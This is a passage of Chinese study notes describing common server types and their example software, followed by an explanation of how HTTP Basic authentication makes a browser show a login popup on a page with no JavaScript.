  • Apache HTTP Server:模块化设计,支持 PHP、Python 等动态语言。
  • Nginx:高性能,擅长处理高并发,常用于反向代理和负载均衡。
  • Caddy:自动 HTTPS 配置,适合新手快速部署。

2. 数据库服务器(Database Server)

作用

集中存储和管理结构化数据(如用户信息、订单记录),提供高效的查询、插入、更新和删除操作。

工作机制

  • 使用 SQL(如 MySQL)或 NoSQL(如 MongoDB)语言操作数据。
  • 通过事务管理(ACID)保证数据一致性(适用于银行、支付系统)。

常见例子

  • 关系型数据库:

    • MySQL:开源,适合中小型应用。
    • PostgreSQL:支持复杂查询和 JSON 数据类型,适合数据分析。
  • NoSQL 数据库:

    • MongoDB:文档型数据库,适合非结构化数据(如日志、社交网络)。
  • Redis:内存数据库,用于缓存和高速读写(如秒杀系统)。


3. 邮件服务器(Mail Server)

作用

负责电子邮件的发送(SMTP)、接收(POP3/IMAP)和存储,管理用户邮箱账号。

工作机制

  • SMTP 协议:发送邮件(如从 Outlook 发送到 Gmail)。
  • POP3/IMAP 协议:接收邮件(POP3 下载后删除,IMAP 同步保留在服务器)。
  • 反垃圾邮件:通过 SPF、DKIM 等技术验证邮件合法性。

常见例子

  • Postfix + Dovecot:开源组合,Postfix 处理 SMTP,Dovecot 处理 IMAP/POP3。
  • Microsoft Exchange:集成日历、联系人功能,适合企业协同办公。

4. 文件服务器(File Server)

作用

集中存储文件(如文档、视频),支持多用户共享和权限管理。

工作机制

  • 协议支持:

    • SMB/CIFS:Windows 文件共享(如 \\192.168.1.100\share)。
  • NFS:Linux/Unix 文件共享。

    • FTP/SFTP:跨平台文件传输(如 FileZilla)。
  • 权限控制:限制用户对文件的读写权限。

常见例子

  • Windows Server 文件服务:通过 SMB 协议共享文件夹。
  • FreeNAS:开源 NAS 系统,支持 RAID 冗余和快照备份。
  • Nextcloud:自建私有云盘(类似 Dropbox)。

5. DNS 服务器(Domain Name System Server)

作用

将人类可读的域名(如 www.google.com)转换为机器可识别的 IP 地址(如 142.250.189.206)。

工作机制

  • 递归查询:客户端向 DNS 服务器请求解析,若服务器无缓存则逐级向上查询(根域名 → 顶级域名 → 权威域名)。
  • 权威 DNS:存储特定域名的解析记录(如 A 记录、CNAME 记录)。

常见例子

  • BIND:最广泛使用的开源 DNS 软件。
  • Cloudflare DNS:提供快速解析和 DDoS 防护。
  • 阿里云 DNS:国内常用的域名解析服务。

6. 应用服务器(Application Server)

作用

运行后端业务逻辑(如用户登录、支付接口),处理复杂计算或数据库操作,为 Web 服务器提供动态内容。

工作机制

  • 接收来自 Web 服务器的请求(如通过 REST API)。
  • 执行业务逻辑(如 Java/Python 代码),连接数据库并返回 JSON/XML 数据。

常见例子

  • Tomcat:轻量级 Java Web 应用服务器。
  • Node.js:基于 JavaScript 的运行时环境(如 Express 框架)。
  • Microsoft IIS(集成 ASP.NET):支持 C# 编写的动态网站。

关于“空白”网页无 JavaScript 代码却有弹窗的问题

做题遇到的网页,源代码只有一个 html 文件,内容如下:

1
2
3
4
5
6
7
8
9

<!-- saved from url=(0029)chrome-error://chromewebdata/ -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
</body>
</html>

在没有任何 JavaScript 代码的情况下,打开网页时有一弹窗,有两个输入框分别输入账号密码,下方有“登录”或“取消”两选项。该网页源代码没有任何涉及弹窗的内容,所以出现弹窗看起来很反常。

其实是利用了 HTTP Basic 认证协议:

  • 当服务器返回 401 Unauthorized 状态码时,浏览器会强制自动弹出账号密码输入框。这是 HTTP 协议规定的标准行为,无需前端代码。

  • 用户输入的账号密码会被浏览器自动拼接为 username:password 格式,并进行 Base64 编码,最终添加到请求头的 Authorization 字段中:

    1
    Authorization: Basic base64(username:password)

    上述 base64(username:password) 实际替换为账号、冒号与密码拼接成的字符串的 Base64 编码。

    Basic 是认证方式,表示 HTTP Basic Authentication (基本认证),还有 DigestBearer Token (Token-Based) 以及其他许多认证方式。

全过程由浏览器原生实现,不需要任何 JavaScript 代码。